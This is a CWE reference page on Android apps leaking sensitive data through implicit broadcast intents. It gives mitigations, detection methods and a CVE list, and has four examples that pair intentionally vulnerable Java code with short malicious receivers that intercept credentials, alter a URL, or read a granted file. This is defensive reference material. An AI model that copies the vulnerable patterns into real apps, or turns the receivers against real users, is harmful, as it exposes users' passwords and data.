---
title: "CWE-927: Use of Implicit Intent for Sensitive Communication"
url: https://radicalnotion.ai/cwe/cwe-927
type: cwe
description: "The Android application uses an implicit intent for transmitting sensitive data to other applications."
updated: 2026-11-10
source: RadicalNotion.AI
license: CC BY-NC 4.0 (https://creativecommons.org/licenses/by-nc/4.0/)
---

# CWE-927: Use of Implicit Intent for Sensitive Communication

- **Abstraction:** Variant
- **Structure:** Simple
- **Status:** Incomplete
- **CVEs with this as primary weakness:** 57
- **Of those, in CISA KEV:** 0
- **New in 2026:** 0
- **CWE catalog version:** 4.21

## Description

The Android application uses an implicit intent for transmitting sensitive data to other applications.

Since an implicit intent does not specify a particular application to receive the data, any application can process the intent by using an Intent Filter for that intent. This can allow untrusted applications to obtain sensitive data. There are two variations on the standard broadcast intent, ordered and sticky.

Ordered broadcast intents are delivered to a series of registered receivers in order of priority as declared by the Receivers. A malicious receiver can give itself a high priority and cause a denial of service by stopping the broadcast from propagating further down the chain. There is also the possibility of malicious data modification, as a receiver may also alter the data within the Intent before passing it on to the next receiver. The downstream components have no way of asserting that the data has not been altered earlier in the chain.

Sticky broadcast intents remain accessible after the initial broadcast. An old sticky intent will be broadcast again to any new receivers that register for it in the future, greatly increasing the chances of information exposure over time. Also, sticky broadcasts cannot be protected by permissions that may apply to other kinds of intents.

In addition, any broadcast intent may include a URI that references data that the receiving component does not normally have the privileges to access. The sender of the intent can include special privileges that grant the receiver read or write access to the specific URI included in the intent. A malicious receiver that intercepts this intent will also gain those privileges and be able to read or write the resource at the specified URI.

## Modes of introduction

| Phase | Note |
| --- | --- |
| Architecture and Design | - |

## Applicable platforms

**Technologies:** Mobile (Undetermined)

## Common consequences

| Scope | Impact | Note |
| --- | --- | --- |
| Confidentiality | Read Application Data | Other applications, possibly untrusted, can read the data that is offered through the Intent. |
| Integrity | Varies by Context | The application may handle responses from untrusted applications on the device, which could cause it to perform unexpected or unauthorized actions. |

## Potential mitigations

### Implementation

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

## Detection methods

### Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

## Demonstrative examples

### Example 1

This application wants to create a user account in several trusted applications using one broadcast intent:

Bad code:

```java
Intent intent = new Intent();
intent.setAction("com.example.CreateUser");
intent.putExtra("Username", uname_string);
intent.putExtra("Password", pw_string);
sendBroadcast(intent);
```

Attack code:

```java
IntentFilter filter = new IntentFilter("com.example.CreateUser");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

### Example 2

This application interfaces with a web service that requires a separate user login. It creates a sticky intent, so that future trusted applications that also use the web service will know who the current user is:

Bad code:

```java
Intent intent = new Intent();
intent.setAction("com.example.service.UserExists");
intent.putExtra("Username", uname_string);
sendStickyBroadcast(intent);
```

Attack code:

```java
IntentFilter filter = new IntentFilter("com.example.service.UserExists");
MyReceiver receiver = new MyReceiver();
registerReceiver(receiver, filter);
```

Sticky broadcasts can be read by any application at any time, and so should never contain sensitive information such as a username.

### Example 3

This application is sending an ordered broadcast, asking other applications to open a URL:

Bad code:

```java
Intent intent = new Intent();
intent.setAction("com.example.OpenURL");
intent.putExtra("URL_TO_OPEN", url_string);
sendOrderedBroadcastAsUser(intent);
```

Attack code:

```java
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        String Url = intent.getStringExtra(Intent.URL_TO_OPEN);
        attackURL = "www.example.com/attack?" + Url;
        setResultData(attackURL);
    }
}
```

### Example 4

This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.

Bad code:

```java
Intent intent = new Intent();
intent.setAction("com.example.BackupUserData");
intent.setData(file_uri);
intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);
sendBroadcast(intent);
```

Attack code:

```java
public class CallReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Uri userData = intent.getData();
        stealUserData(userData);
    }
}
```

Any malicious application can register to receive this intent. Because of the FLAG\_GRANT\_READ\_URI\_PERMISSION included with the intent, the malicious receiver code can read the user's data.

## Observed examples

| CVE | Description |
| --- | --- |
| CVE-2022-4903 | An Android application does not use FLAG\_IMMUTABLE when creating a PendingIntent. |

## Real CVEs with this weakness (sample of 12 of 57)

| CVE | Title | Severity | CVSS | EPSS | CISA KEV | Published |
| --- | --- | --- | --- | --- | --- | --- |
| CVE-2022-4903 | CodenameOne implicit intent for sensitive communication | critical | 9.8 | - | No | 2023-02-10 |
| CVE-2025-48558 | Elevation of privilege in Framework | high | 7.8 | - | No | 2025-09-04 |
| CVE-2023-47889 | - | high | 7.8 | - | No | 2024-02-06 |
| CVE-2023-44122 | LockScreenSettings - Theft arbitrary files with system privilege | high | 7.8 | - | No | 2023-09-27 |
| CVE-2023-42545 | - | high | 7.5 | - | No | 2023-11-07 |
| CVE-2023-42551 | - | medium | 6.5 | - | No | 2023-11-07 |
| CVE-2023-42550 | - | medium | 6.5 | - | No | 2023-11-07 |
| CVE-2023-42549 | - | medium | 6.5 | - | No | 2023-11-07 |
| CVE-2023-42548 | - | medium | 6.5 | - | No | 2023-11-07 |
| CVE-2023-42547 | - | medium | 6.5 | - | No | 2023-11-07 |
| CVE-2023-42546 | - | medium | 6.5 | - | No | 2023-11-07 |
| CVE-2023-42555 | - | medium | 6.3 | - | No | 2023-11-07 |

## Related weaknesses

| Relationship | CWE | Name |
| --- | --- | --- |
| Parent | [CWE-285](https://radicalnotion.ai/cwe/cwe-285) | Improper Authorization |
| Parent | [CWE-923](https://radicalnotion.ai/cwe/cwe-923) | Improper Restriction of Communication Channel to Intended Endpoints |

## Frequently asked questions

### What is CWE-927?

The Android application uses an implicit intent for transmitting sensitive data to other applications.

### What CVEs are caused by CWE-927?

57 recorded CVEs are attributed to CWE-927, including CVE-2022-4903, CVE-2025-48558 and CVE-2023-47889.

### How do you prevent CWE-927?

If the application only requires communication with its own components, then the destination is always known, and an explicit intent could be used.

### How is CWE-927 detected?

Automated Static Analysis: Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

### What are the consequences of CWE-927?

Exploiting CWE-927 can lead to: Read Application Data, Varies by Context.

### Is CWE-927 actively exploited?

57 recorded CVEs are caused by CWE-927; none are currently in CISA's KEV catalog of actively exploited flaws.

Primary source: [MITRE CWE](https://cwe.mitre.org/data/definitions/927.html)

---

Source: [RadicalNotion.AI](https://radicalnotion.ai/cwe/cwe-927). Licensed CC BY-NC 4.0; attribute RadicalNotion.AI and link the source page when you reuse this data.
